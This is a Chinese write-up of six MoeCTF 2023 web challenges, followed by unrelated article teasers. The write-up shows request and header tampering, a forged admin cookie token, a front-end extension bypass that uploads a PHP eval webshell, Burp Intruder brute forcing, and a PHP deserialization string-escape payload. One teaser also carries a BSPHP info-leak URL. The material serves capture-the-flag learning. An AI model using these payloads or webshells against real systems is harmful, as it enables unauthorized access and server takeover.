[MoeCTF 2023] web题解

news2024/10/6 12:31:36

文章目录

  • web
    • http
    • cookie
    • 彼岸的flag
    • moe图床
    • 大海捞针
    • 夺命十三枪


web

http

连接到本地后,题目给了我们任务
在这里插入图片描述

  1. 第一个是要求我们GET传参UwU=u
  2. 第二个是要求我们POST传参Luv=u
  3. 第三个是要求我们cookie值为admin
  4. 第四个是要求我们来自127.0.0.1
  5. 第五个是要求我们用MoeBrowser浏览器

在此之前先要学会用bp抓本地包
我们win+R打开cmd,然后输入

ipconfig

将下面的ip复制,把题目的localhost改掉,即可抓本地包
在这里插入图片描述
bp抓包,添加我们的参数,得到flag

在这里插入图片描述

cookie

打开题目,按照给的提示
我们先到./register,POST传参json数据

{
    "username":"dog",
    "password":"123456"
}

在这里插入图片描述

然后再到./login登陆一下

{
    "username":"dog",
    "password":"123456"
}

在这里插入图片描述查看./flag,结果不行
在这里插入图片描述
尝试注册admin用户发现已存在,结合提示可以修改cookie值
抓包./status,将token解码发现是加密过的

在这里插入图片描述我们修改一下roleadmin,再次编码,尝试在./status替换原来的token
然后访问./flag发现还是不行,于是直接访问./flag抓包修改cookie值
得到flag

在这里插入图片描述

彼岸的flag

打开题目(F12发现巨佬博客,原来是web前端知识)
发现有问题
在这里插入图片描述

直接选取元素,得到flag
在这里插入图片描述

moe图床

文件上传类型的题目
然后F12发现只允许上传png格式

if (!file){
   alert('请选择一个文件进行上传!');
   return;
}
   const allowedExtensions = ['png'];
   const fileExtension = file.name.split('.').pop().toLowerCase();
   if (!allowedExtensions.includes(fileExtension)) {
      alert('只允许上传后缀名为png的文件!');
      return;
}

分析一下

const allowedExtensions = ['png']; 

定义了一个名为 allowedExtensions 的数组,其中包含允许上传的文件扩展名。在这个例子中,只允许上传扩展名为 ‘png’ 的文件。

const fileExtension = file.name.split('.').pop().toLowerCase(); 

从 file 对象中提取文件扩展名。它使用 split() 方法根据点 (.) 分隔符将文件名拆分为数组,并使用 pop() 获取结果数组的最后一个元素,该元素表示文件扩展名。toLowerCase() 方法将文件扩展名转换为小写,以进行大小写不敏感的比较。

这样看只需要我们上传的文件名里面包含png的拓展名即可绕过
前提,我们还只能上传png绕过js前端检测

我们创建1.png

<?php @eval($_POST[shell]);?>

然后bp抓包修改文件名为1.png.php,上传成功
在这里插入图片描述

然后蚁剑连接

在这里插入图片描述

得到flag

在这里插入图片描述

大海捞针

打开题目,给了提示
在这里插入图片描述应该说的是GET传参id可以连接到不同宇宙,id的值从1到1000
一个个找太麻烦了,结合提示
在这里插入图片描述应该是要爆破
我们直接bp抓包丢到instruder,添加payload位置
在这里插入图片描述
设置payload集为从1到1000

在这里插入图片描述开始爆破,发现?id=676的长度最特殊,猜测有flag
在这里插入图片描述
我们直接访问,发现是另外一道题彼岸的flag出现过的
直接查看页面源代码,搜索一下得到flag
在这里插入图片描述

夺命十三枪

源代码

 <?php
highlight_file(__FILE__);

require_once('Hanxin.exe.php');

$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';

$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);

$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';

try{
    echo unserialize($after);
}catch (Exception $e) {
    echo "Even Caused A Glitch...";
}
?>
Your Movements: O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:4:"test";s:11:"Spear_Owner";s:6:"Nobody";}
Far away from COOL...

我们再看下Hanxin.exe.php

 <?php

if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
    highlight_file(__FILE__);
}

class Deadly_Thirteen_Spears{
    private static $Top_Secret_Long_Spear_Techniques_Manual = array(
        "di_yi_qiang" => "Lovesickness",
        "di_er_qiang" => "Heartbreak",
        "di_san_qiang" => "Blind_Dragon",
        "di_si_qiang" => "Romantic_charm",
        "di_wu_qiang" => "Peerless",
        "di_liu_qiang" => "White_Dragon",
        "di_qi_qiang" => "Penetrating_Gaze",
        "di_ba_qiang" => "Kunpeng",
        "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
        "di_shi_qiang" => "Overlord",
        "di_shi_yi_qiang" => "Letting_Go",
        "di_shi_er_qiang" => "Decisive_Victory",
        "di_shi_san_qiang" => "Unrepentant_Lethality"
    );

    public static function Make_a_Move($move){
        foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
            $move = str_replace($index, $movement, $move);
        }
        return $move;
    }
}

class Omg_It_Is_So_Cool_Bring_Me_My_Flag{

    public $Chant = '';
    public $Spear_Owner = 'Nobody';

    function __construct($chant){
        $this->Chant = $chant;
        $this->Spear_Owner = 'Nobody';
    }

    function __toString(){
        if($this->Spear_Owner !== 'MaoLei'){
            return 'Far away from COOL...';
        }
        else{
            return "Omg You're So COOOOOL!!! " . getenv('FLAG');
        }
    }
}

?>

分析一下

  1. 我们先看到出口Omg_It_Is_So_Cool_Bring_Me_My_Flag.__toString(),只要满足Spear_Owner为MaoLei就可得到flag
  2. 往前推,当使用echo或者print输出对象时会调用此方法,源代码的echo 'Your Movements: ' . $after . '<br>';刚好满足

但是我们实例化Omg_It_Is_So_Cool_Bring_Me_My_Flag()后,可以发现Spear_Owner的值我们是修改不了的。这就是个问题,我们怎么做到修改一个不可被修改的值呢

关键点在于Deadly_Thirteen_Spears.Make_a_Move(),同时结合我们的目的,我们可以利用字符串逃逸来实现绕过

我们先随便传入test
在这里插入图片描述我们的目标是

O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:4:"test";s:11:"Spear_Owner";s:6:"MaoLei";}

我们尝试把";s:11:"Spear_Owner";s:6:"MaoLei";}写到Chant里面,然后把后面的部分挤掉
同时长度变为4+35

O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:39:"test";s:11:"Spear_Owner";s:6:"MaoLei";}";s:11:"Spear_Owner";s:6:"Nobody";}

这时候我们利用替换前后长度差与之相等
这里我选的是构造7*(di_qi_qiang),因为当它被替换后长度差为5,5*7刚好为我们要的
只要做到下面这样就可以得到flag,长度为39+35

O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:74:"di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}";s:11:"Spear_Owner";s:6:"Nobody";}

所以payload为

?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1092274.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Spring framework Day14:配置类的Lite模式和Full模式

前言 Lite模式和Full模式是指在软件或系统中的不同配置选项。一般来说&#xff0c;Lite模式是指较为简洁、轻量级的配置&#xff0c;而Full模式则是指更加完整、功能更丰富的配置。 Lite模式通常会去除一些不常用或占用资源较多的功能&#xff0c;以提高系统的运行效率和响应…

【C++】 对象模型与内存模型的区别

目录 0 引言1 C 内存模型2 C 对象模型3 二者区别 &#x1f64b;‍♂️ 作者&#xff1a;海码007&#x1f4dc; 专栏&#xff1a;C专栏&#x1f4a5; 标题&#xff1a;【C】 对象模型与内存模型的区别❣️ 寄语&#xff1a;最重要的只有一件事&#xff01;&#x1f388; 最后&am…

Spring(17) AopContext.currentProxy() 类内方法调用切入

目录 一、简介二、代码示例2.1 接口类2.2 接口实现类2.3 AOP切面类2.4 启动类&#xff08;测试&#xff09;2.5 执行结果 一、简介 背景&#xff1a; 在之前 Spring 的 AOP 用法中&#xff0c;只有代理的类才会被切入。例如&#xff1a;我们在 Controller 层调用 Service 的方式…

nginx的优化和防盗链(重点)

一、nginx的优化&#xff08;重点&#xff09; &#xff08;一&#xff09;隐藏版本号 由于nginxbug多&#xff0c;更新版本速度比较快&#xff0c;一旦版本号暴露出去&#xff0c;有可能给对方提供攻击的漏洞 1、在http大模块中修改 2、修改nginx.h源码包 &#xff08;二&a…

竞赛 深度学习LSTM新冠数据预测

文章目录 0 前言1 课题简介2 预测算法2.1 Logistic回归模型2.2 基于动力学SEIR模型改进的SEITR模型2.3 LSTM神经网络模型 3 预测效果3.1 Logistic回归模型3.2 SEITR模型3.3 LSTM神经网络模型 4 结论5 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 …

leetcode:1929. 数组串联(python3解法)

难度&#xff1a;简单 给你一个长度为 n 的整数数组 nums 。请你构建一个长度为 2n 的答案数组 ans &#xff0c;数组下标 从 0 开始计数 &#xff0c;对于所有 0 < i < n 的 i &#xff0c;满足下述所有要求&#xff1a; ans[i] nums[i]ans[i n] nums[i] 具体而言&am…

基于Java的二手车交易管理系统设计与实现(源码+lw+部署文档+讲解等)

文章目录 前言具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序&#xff08;小蔡coding&#xff09;有保障的售后福利 代码参考源码获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作…

基于深度学习网络的疲劳驾驶检测算法matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 4.1疲劳检测理论概述 4.2 本课题说明 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版本 matlab2022a 3.部分核心程序 In_layer_Size [227 227 3]; img_size [224,…

BSPHP 未授权访问 信息泄露

漏洞描述 BSPHP 存在未授权访问 泄露用户 IP 和 账户名信息 漏洞复现 访问url&#xff1a; 构造payload访问&#xff1a; /admin/index.php?madmin&clog&atable_json&jsonget&soso_ok1&tuser_login_log&page1&limit10&bsphptime16004073…

【牛客网刷题(数据结构)】:环形链表的约瑟夫问题

描述 编号为 1 到 n 的 n 个人围成一圈。从编号为 1 的人开始报数&#xff0c;报到 m 的人离开。 下一个人继续从 1 开始报数。 n-1 轮结束以后&#xff0c;只剩下一个人&#xff0c;问最后留下的这个人编号是多少&#xff1f; O(n) 示例1 好环形链表的约瑟夫问题是一个经典的问…

cmd/bat 批处理文件的参数/接收命令行参数

前言 略 接收命令行参数 变量 %1~%9 对应命令行参数 1-9变量%0表示自身如果参数超过9个&#xff0c;则需要shift命令 示例 将下面的内容保存为bat文件&#xff08;比如1.bat&#xff09;&#xff1a; echo off echo.%%0为自身 echo.第0个参数是:%0 echo.第1个参数是:%1 e…

ROS 学习 Gazebo仿真

机器人模型添加Gazebo属性 使用xacro设计的机器人URDF模型已经描述了机器人的外观特征和物理特性&#xff0c;虽然已经具备在Gazebo中仿真的基本条件&#xff0c;但是&#xff0c;由于没有在模型中加入Gazebo的相关属性&#xff0c;还是无法让模型在Gazebo仿真环境中动起来。那…

基于Java的大学生兼职论坛管理系统设计与实现(源码+lw+部署文档+讲解等)

文章目录 前言具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序&#xff08;小蔡coding&#xff09;有保障的售后福利 代码参考源码获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作…

基于STM32_DHT11单总线温湿度传感器驱动

基于STM32_DHT11单总线温湿度传感器驱动 文章目录 基于STM32_DHT11单总线温湿度传感器驱动前言一、DHT11&#xff1f;二、原理1.时序1.主机复位信号和 DHT11 响应信号2.信号‘0’的表示3.信号‘1’的表示4.整个数据信号收发流程 2.数据结构 三、驱动1 .h文件&#xff1a;2 .c文…

力扣-434.字符串中的单词数

Idea 利用C中的 stringstream 指定字符分割字符串 class Solution { public:int countSegments(string s) {int cnt 0;stringstream ss(s);string word;while(ss >> word){cnt;}return cnt;} };

大模型分布式训练并行技术(一)-概述

近年来&#xff0c;随着Transformer、MOE架构的提出&#xff0c;使得深度学习模型轻松突破上万亿规模参数&#xff0c;传统的单机单卡模式已经无法满足超大模型进行训练的要求。因此&#xff0c;我们需要基于单机多卡、甚至是多机多卡进行分布式大模型的训练。 而利用AI集群&am…

【Java 进阶篇】JavaScript流程控制语句详解

JavaScript是一门高级编程语言&#xff0c;具备丰富的流程控制语句&#xff0c;用于控制程序的执行流程。在本篇博客中&#xff0c;我们将深入探讨JavaScript的流程控制语句&#xff0c;包括条件语句、循环语句、以及其他一些控制语句。这篇博客将逐步介绍这些概念&#xff0c;…

智慧公厕:打破传统,解决城市痛点@中期科技

近年来&#xff0c;随着城市化进程的加速推进&#xff0c;智慧公厕成为人民生活质量提升的重要组成部分。作为一个富有创新和科技感的解决方案&#xff0c;智慧公厕不仅满足了人们对公共环境的要求&#xff0c;还提供了一系列便利的服务&#xff0c;让人们的生活更加舒适、便捷…

LabVIEW在安装了其它的NI软件之后崩溃了

LabVIEW在安装了其它的NI软件之后崩溃了 在安装了其它的NI软件之后&#xff0c;一些原本安装好的或者新安装的软件由于缺少必要的DLL而崩溃掉了。例如&#xff0c;在这种情况下&#xff0c;Teststand可能会报下面的错误&#xff1a; RetrievingCOM class factory for compone…

基于Springboot的闲置图书共享系统设计与实现(源码+论文+开题报告+PPT+部署)

项目描述 临近学期结束&#xff0c;还是毕业设计&#xff0c;你还在做java程序网络编程&#xff0c;期末作业&#xff0c;老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。这里根据疫情当下&#xff0c;你想解决的问…